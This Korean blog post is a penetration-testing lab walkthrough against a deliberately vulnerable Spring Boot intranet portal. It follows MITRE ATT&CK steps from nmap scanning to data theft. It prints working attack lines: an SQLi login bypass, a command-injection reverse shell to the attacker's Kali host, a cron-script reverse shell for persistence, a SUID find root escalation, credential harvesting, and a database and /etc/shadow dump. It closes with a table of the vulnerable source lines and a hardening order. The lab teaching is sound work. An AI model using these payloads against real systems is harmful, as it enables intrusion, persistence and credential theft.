이번 실습에서는 의도적으로 취약하게 구성한 Spring Boot 기반의 사내 포털을 대상으로 nmap 스캔부터 데이터 유출까지 공격자의 동선을 그대로 재현해본다.
실습 대상은 IntraPortal이라는 가상의 사내 포털이다.
코드 골격은 Claude Code로 구현했다. (github.com/Cordilog/aws-pentest-lab에서 클론하여 구축할 수 있다.)
공격의 흐름은 MITRE ATT&CK의 tactic 순서를 따르도록 설계했다.
8단계 공격 동선
침투는 한 단계가 다음 단계의 전제 조건을 만들어주는 방식으로 이어진다.
| 단계 | ATT&CK ID | 전술(Tactic) | 행위 | 대상 |
| 1 | T1046 | Discovery | 포트 스캔 + 서비스 식별 | nmap → 8080/tcp open |
| 2 | T1190 | Initial Access | SQLi 로그인 바이패스 | /login |
| 3 | T1083 | Discovery | 인증 후 엔드포인트 열거 | dashboard, gobuster, Actuator |
| 4 | T1059.004 | Execution | CMDi → 리버스 셸 획득 | /admin/diag |
| 5 | T1053.003 | Persistence | cron 스크립트 교체 | /opt/backup.sh |
| 6 | T1548.001 | Privilege Escalation | SUID 바이너리 악용 → root | find -exec |
| 7 | T1003 | Credential Access | 크레덴셜 수집 | Actuator, bash_history, DB |
| 8 | T1005 | Collection | 민감 데이터 수집 + 증거 정리 | DB 덤프, /etc/shadow |
실습 환경 구축
실습 환경 구성은 다음과 같다.
공격자 측 Kali(192.168.100.3) 한 대, 대상 IntraPortal(192.168.100.35) 서버 한 대를 준비한다.
대상 서버에서 Spring Boot 웹앱과 로컬 MariaDB가 동작하고, 내부에 cron·SUID·/etc/shadow 같은 OS 계층이 취약하게 설정되어 있다.
공격자는 8080 포트의 웹앱을 진입점으로 삼아 점차 OS 계층까지 장악해 들어간다.

환경은 setup.sh 실행 한 번으로 웹앱·DB·취약 OS 설정까지 전체가 자동 구성된다.
git clone https://github.com/Cordilog/aws-pentest-lab.git
cd ~/aws-pentest-lab
sudo bash setup.sh
구성 후에는 포털이 정상 동작하는지부터 확인한다.
(프로세스 기동, 8080 포트 리슨, HTTP 응답)
ps aux | grep java # 프로세스 기동
ss -tlnp | grep 8080 # 포트 리슨
curl -I http://localhost:8080/login # HTTP 응답
IntraPortal이 www-data 권한으로 동작하고 8080 포트를 리슨 중이라면 대상이 준비된 것이다.
브라우저에서도 접속이 잘 되는지 확인해본다.
http://192.168.100.35:8080
이제 정찰 단계로 진입한다.
Step 1. 포트 스캔으로 스택 식별 (T1046)
공격자가 가장 먼저 수행하는 작업은 대상이 어떤 포트와 서비스를 노출하고 있는지 파악하는 것이다.
nmap에 버전 탐지(-sV)와 기본 스크립트(-sC)를 적용해 전체 포트를 스캔한다.
nmap -sV -sC -p- 192.168.100.35 -oN nmap_scan.txt

결과에서 세 가지가 확인된다.
22/tcp는 OpenSSH인데 배너에 Ubuntu 배포판 정보까지 노출하고 있고, 8080/tcp는 Apache Tomcat에 페이지 타이틀이 "IntraPortal"이다. 3306/tcp는 MariaDB가 localhost만 리슨하기 때문에 외부에서 닫혀 있다.
여기서 Tomcat 헤더와 로그인 페이지 타이틀, 이 두 가지로 Spring Boot 스택을 추정할 수 있다.
그러면 /actuator 같은 Spring 특화 엔드포인트를 탐색할 직접적인 근거가 생긴다.
Step 2. SQL Injection으로 로그인 폼 우회 (T1190)
로그인 폼은 외부 입력이 DB 쿼리로 곧장 이어지는 첫 지점이므로 가장 먼저 점검 대상이 된다.
취약한 로그인 쿼리는 사용자 입력을 문자열로 직접 결합해 SELECT * FROM users WHERE username = '입력값' AND password = '입력값' 형태로 구성한다. 입력을 데이터가 아니라 쿼리 문장의 일부로 취급하는 점이 핵심이다.
사용자명 필드에 ' OR '1'='1' -- 페이로드를 넣으면 쿼리가 다음과 같이 변형된다.

따옴표 하나로 username 문자열을 닫고, OR '1'='1'로 WHERE 절을 항상 참으로 만든 뒤, -- 주석으로 뒤따르는 password 대조를 무력화한다. 조건이 항상 참이므로 users 테이블의 첫 행(보통 관리자 계정)으로 인증이 통과된다.
curl -v -c cookies.txt http://192.168.100.35:8080/login \
--data-urlencode "username=' OR '1'='1' -- " \
--data-urlencode "password=anything"

비밀번호를 몰라도 /dashboard로 리다이렉트되는 302 응답과 유효한 세션 쿠키가 떨어진다.
이 쿠키 하나로 이제 인증된 사용자로서 내부를 탐색할 수 있다.
브라우저에서도 직접 SQLi를 테스트해볼 수 있다.
http://192.168.100.35:8080/login

** 취약 원인은 LoginController.java의 문자열 결합 쿼리, 즉 PreparedStatement 미사용이다.
Step 3. 인증 후 접근 가능한 엔드포인트를 열거한다 (T1083)
세션을 획득한 공격자가 가장 먼저 하는 작업은 인증된 상태에서 접근 가능한 페이지를 목록화하는 것이다. 대시보드 HTML에서 링크를 추출하고, Spring 환경임을 전제로 /actuator를 탐색한다.
# 대시보드 소스에서 링크 추출
curl -s -b cookies.txt http://192.168.100.35:8080/dashboard \
| grep -oP '(href|action)="[^"]*"' | sort -u
# Actuator 탐색
curl -s http://192.168.100.35:8080/actuator/ | python3 -m json.tool

여기서 /admin/diag, /admin/upload, /actuator/env, /actuator/health 등이 확인된다.
문제는 Actuator가 인증 없이 전부 열려 있다는 점이다.
/env는 환경변수와 DB 정보를 거의 평문으로 노출하고, /heapdump는 JVM 메모리 덤프를 통째로 내려준다(이 안에 평문 비밀번호가 포함될 수 있다).
/mappings로 전체 URL 라우팅이, /configprops로 설정값 전체가 노출된다.
인증 없이 내부 구조 전체가 외부에 드러나 있는 상태다.
Step 4. Command injection으로 리버스 셸 획득 (T1059.004)
Step 3에서 발견한 /admin/diag는 네트워크 진단용 기능으로, target 파라미터를 받아 내부적으로 ping <target> 형태의 명령을 셸에 전달한다.
입력에 대한 메타문자 필터링이 없다면, 세미콜론으로 명령을 이어 붙이는 순간 ping ...; <공격 명령어>가 성립된다.
셸이 세미콜론을 명령 구분자로 해석하기 때문이다. 먼저 실제로 동작하는지 확인한다.
curl -s -b cookies.txt http://192.168.100.35:8080/admin/diag \
--data-urlencode "target=;id"
# 결과: uid=33(www-data) gid=33(www-data) groups=33(www-data)


# 터미널 1 — Kali 리스너 대기
nc -lvnp 4444
# 터미널 2 — CMDi로 리버스 셸 전송
curl -s -b cookies.txt http://192.168.100.35:8080/admin/diag \
--data-urlencode "target=;bash -c 'bash -i >& /dev/tcp/192.168.100.3/4444 0>&1'"

www-data 계정으로 셸이 떨어졌다.
이 공격이 성립하는 과정은 다음과 같다.

방화벽은 일반적으로 인바운드 연결은 차단해도 아웃바운드 연결은 허용하는 경우가 많다.
리버스 셸은 공격자가 서버에 접속하는 것이 아니라 서버가 공격자에게 역방향으로 접속하는 구조이므로, 바로 이 아웃바운드 허용을 악용한다.
nc로 받은 셸은 방향키나 명령어 자동완성 등이 동작하지 않는 dumb shell이라 작업이 불편하다.
가상 터미널을 띄우면 인터랙티브 셸로 업그레이드 할 수 있다.
python3 -c 'import pty; pty.spawn("/bin/bash")'
* 취약 원인을 정리하면, /admin/diag의 target이 Runtime.exec()로 직접 전달될 때 세미콜론 같은 셸 메타문자를 전혀 필터링하지 않는다는 것이다.
이로 인해 www-data 권한으로 임의 명령이 실행되고, 리버스 셸까지 확보되어 서버가 장악된다.
Step 5. cron 스크립트 교체로 지속성 확보 (T1053.003)
리버스 셸은 연결이 끊기면 사라진다는 약점이 있다.
따라서 공격자는 주기적으로 자동 실행되는 작업(cron job)에 자신의 셸을 심어 재접속을 자동화하려 한다.
먼저 어떤 cron 작업이 실행되고 있는지 확인한다.
crontab -l
# 결과: */5 * * * * /opt/backup.sh >> /var/log/backup.log 2>&1
ls -la /opt/backup.sh
# 결과: -rwxrwxrwx 1 root root 667 Jun 23 02:39 /opt/backup.sh

/opt/backup.sh가 5분마다 자동 실행된다는 것을 확인할 수 있다.
그런데 권한이 -rwxrwxrwx, 777이다. 즉 소유자는 root지만 누구나 수정할 수 있도록 열려 있다.
현재 www-data의 권한만 확보되어 있지만 아무 제약 없이 이 파일을 리버스 셸로 교체할 수 있다는 의미다.
# 터미널 3 — Kali 새 리스너 대기
nc -lvnp 5555
# 4444 셸에서 backup.sh 교체
echo '#!/bin/bash
bash -i >& /dev/tcp/192.168.100.3/5555 0>&1' > /opt/backup.sh


이제 cron이 5분 주기로 교체된 스크립트를 실행하면서 5555 리스너에 셸이 연결된다.
연결이 끊겨도 다음 주기에 자동으로 재접속이 되어 지속성(Persistence)이 확보된 것이다.
* 취약점은 예약 작업이 실행하는 스크립트에 777로 설정된 파일 권한에 있다.
Step 6. SUID find 바이너리로 root 권한 획득 (T1548.001)
여기까지 www-data 수준의 권한이 확보되었다.
여기서 시스템을 완전히 장악하려면 root 권한이 필요하므로 SUID 비트가 설정된 바이너리를 탐색한다.
SUID(Set-UID)가 설정된 실행 파일은 그것을 실행한 사용자가 아니라 파일 소유자의 권한으로 동작한다.
소유자가 root인 SUID 바이너리에서 셸을 띄울 수 있으면 그 셸은 root 권한을 갖게 된다.
이런 식으로 악용 가능한 표준 바이너리를 정리해 둔 프로젝트가 GTFOBins다.
find / -perm -4000 -type f 2>/dev/null

/usr/bin/find(GTFOBins의 대표 악용 대상)가 GTFOBins의 대표 악용 대상 바이너리다.
find의 SUID를 이용해 root 셸을 띄운다.
find / -exec /bin/sh -p \; -quit
id
# 결과: uid=33(www-data) gid=33(www-data) euid=0(root)
| find / | 루트부터 파일 탐색 시작 |
| -exec | 찾은 파일마다 명령 실행 |
| /bin/sh -p | 특권 유지 모드로 셸 실행 |
| \; -quit | exec 종료 구분자 / 첫 파일에서 즉시 종료 |
일반적으로 sh/bash는 실행 시 SUID 권한을 자동으로 드롭하므로, SUID root 프로그램에서 셸을 열어도 원래 사용자 권한으로 떨어진다.
-p는 이 드롭을 막아 SUID의 root 권한을 유지한 채 셸을 띄운다.
결과적으로 find가 root로 실행되고 → -exec로 /bin/sh -p를 호출하고 → root 셸이 획득된다.
euid=0(root)로 시스템 전체 제어권을 확보했다.
Step 7. 여러 출처에서 크레덴셜 수집 (T1003)
크레덴셜은 비밀번호 뿐 아니라 인증에 사용되는 모든 정보, 즉 아이디·비밀번호, API 키, 토큰, 인증서 등을 통칭한다.
root 권한을 확보했으므로 여러 출처에서 크레덴셜을 수집한다. 출처마다 유출될 수 있는 대상이 다르다.
| 출처 | 수집 대상 |
| /actuator/env | DB 접속 비밀번호 (마스킹 상태) |
| application.properties | DB 사용자명 + 비밀번호 (평문) |
| .bash_history | 관리자가 입력한 명령어 내 비밀번호 |
| MariaDB users 테이블 | 웹앱 사용자 평문 비밀번호 |
/actuator/env는 비밀번호를 ******로 마스킹하지만, root 권한이 있으면 설정 파일에서 평문을 직접 읽는 것이 가능해진다.
cat /opt/intraportal/application.properties
# spring.datasource.username=portaladmin
# spring.datasource.password=Portal@DB2024
mysql -u portaladmin -pPortal@DB2024 -e "SELECT * FROM intraportal.users;"

확인 결과 DB에 비밀번호가 해싱 없이 평문으로 저장되어 있고, application.properties에도 DB 접속 비밀번호가 평문이며, Actuator의 /env로 DB 사용자명과 URL이 무인증 노출된다.
이렇게 수집한 비밀번호는 동일한 값으로 다른 시스템에 로그인을 시도하는 Credential Stuffing의 재료가 된다.
Step 8. 최종 목적인 민감 데이터를 수집한다 (T1005)
서버 내부를 탐색할 수단을 모두 확보했으니, 이제 공격의 실제 목적인 데이터 수집으로 넘어간다.
실제 침해 사고에서 공격자가 최종적으로 노리는 것은 결국 고객 정보, 결제 정보, 내부 문서 등이다.
# DB 전체 덤프
mysqldump -u portaladmin -pPortal@DB2024 intraportal > /tmp/intraportal_dump.sql
# /etc/shadow 수집 (root 권한)
cat /etc/shadow


DB 덤프 3,555바이트 안에 사용자 4명의 개인정보가 그대로 포함되어 있고, /etc/shadow에서는 비밀번호 해시 3건을 확보했다.
| 계정 | 해시 알고리즘 |
| soaradmin | $6$ → SHA-512 |
| admin | $y$ → yescrypt |
| devuser | $y$ → yescrypt |
DB 덤프 하나로 사용자 이름·이메일·비밀번호가 전부 유출되는 것이 확인된다.
실제 기업이었다면 개인정보보호법 위반 사고에 해당한다.
/etc/shadow 해시는 john이나 hashcat으로 오프라인 크래킹이 가능하다.
권한 획득이 결국 데이터 유출로 직결되는 흐름을 확인했다.
전체 흐름 정리
정찰로 스택을 식별하고 → SQLi로 침투하고 → 내부 엔드포인트를 나열하고 → CMDi로 셸을 열고 → cron으로 지속성을 확보하고 → SUID로 root까지 상승하고 → 크레덴셜을 수집하고 → 데이터를 유출하는 흐름을 살펴봤다.
| 단계 | ATT&CK | 결과 |
| 1 | T1046 | nmap → 22, 8080 오픈 확인 |
| 2 | T1190 | SQLi → 관리자 로그인 바이패스 |
| 3 | T1083 | 대시보드 분석 → /admin/diag 발견, Actuator 무인증 노출 |
| 4 | T1059.004 | CMDi → www-data 리버스 셸 획득 |
| 5 | T1053.003 | /opt/backup.sh 교체 → cron 지속성 확보 |
| 6 | T1548.001 | find SUID → euid=0(root) 권한 상승 |
| 7 | T1003 | DB 평문 비밀번호 4건 + application.properties 크레덴셜 수집 |
| 8 | T1005 | DB 덤프, /etc/shadow 해시 탈취 |
공격이 성공한 지점마다 취약점이 있는 소스코드 라인이 존재한다.
위 모의침투 과정에서 뚫린 각 지점의 소스코드 위치는 다음과 같다.
| 공격 | 취약점 | 소스 위치 | 심각도 |
| SQLi | 문자열 결합 쿼리 | LoginController.java:48-49 | Critical |
| Actuator | /actuator/** permitAll, expose=* | SecurityConfig.java:24 | Critical |
| CMDi | 입력값 셸 직접 전달 | DiagController.java:44-45 | Critical |
| 평문 비밀번호 | DB에 해싱 없이 저장 | db/init.sql:13 | High |
| 크레덴셜 | application.properties 하드코딩 | application.properties:8-10 | High |
| cron | chmod 777 /opt/backup.sh | vuln-config/setup-cron.sh:16 | High |
| SUID | find에 SUID 비트 | vuln-config/setup-suid.sh:23 | High |
| 정보 노출 | 서버 헤더·에러 메시지 노출 | LoginController.java:68 | Medium |
조치 순서에도 전략이 있다.
무조건 심각도가 높은 것부터 패치하는 것이 아니라, 공격자가 처음 접근하는 외부 표면을 먼저 차단하고, 권한 상승 경로를 끊은 후 데이터를 보호하는 순서로 진행한다.
외부에서 접근 가능한 취약점을 먼저 차단하면 그에 의존하던 후속 단계가 연쇄적으로 무력화되기 때문이다.
위 실습을 예로 들면, SQLi 입구를 먼저 막음으로써 그 세션으로 수행하던 Actuator 탐색도, CMDi 셸도 시작점을 잃는다.
따라서 하드닝은 외부 표면(Phase 1) → RCE 경로(Phase 2) → 크레덴셜(Phase 3) → OS 하드닝(Phase 4)의 4단계로 나누어 진행한다.
다음 글에서는 각각의 하드닝 단계에 대해 하나씩 다뤄보기로 한다.
'Journey to Security > 취약점진단|모의해킹' 카테고리의 다른 글
| 역직렬화 취약점 - 객체 복원과 동시에 공격 코드가 실행되는 원리 (0) | 2026.06.30 |
|---|---|
| Spring Boot 사내 포털 모의침투 - 공격 체인을 끊는 4단계 패치 (0) | 2026.06.30 |
| 시스템 계정의 공격 표면과 차단 전략 - 대화형 로그인의 위험성 (0) | 2026.06.29 |
| DVWA 문제풀이: Command Injection (0) | 2026.05.25 |
| DVWA 문제풀이: Netcat을 이용한 Reverse Shell 공격 (0) | 2026.05.25 |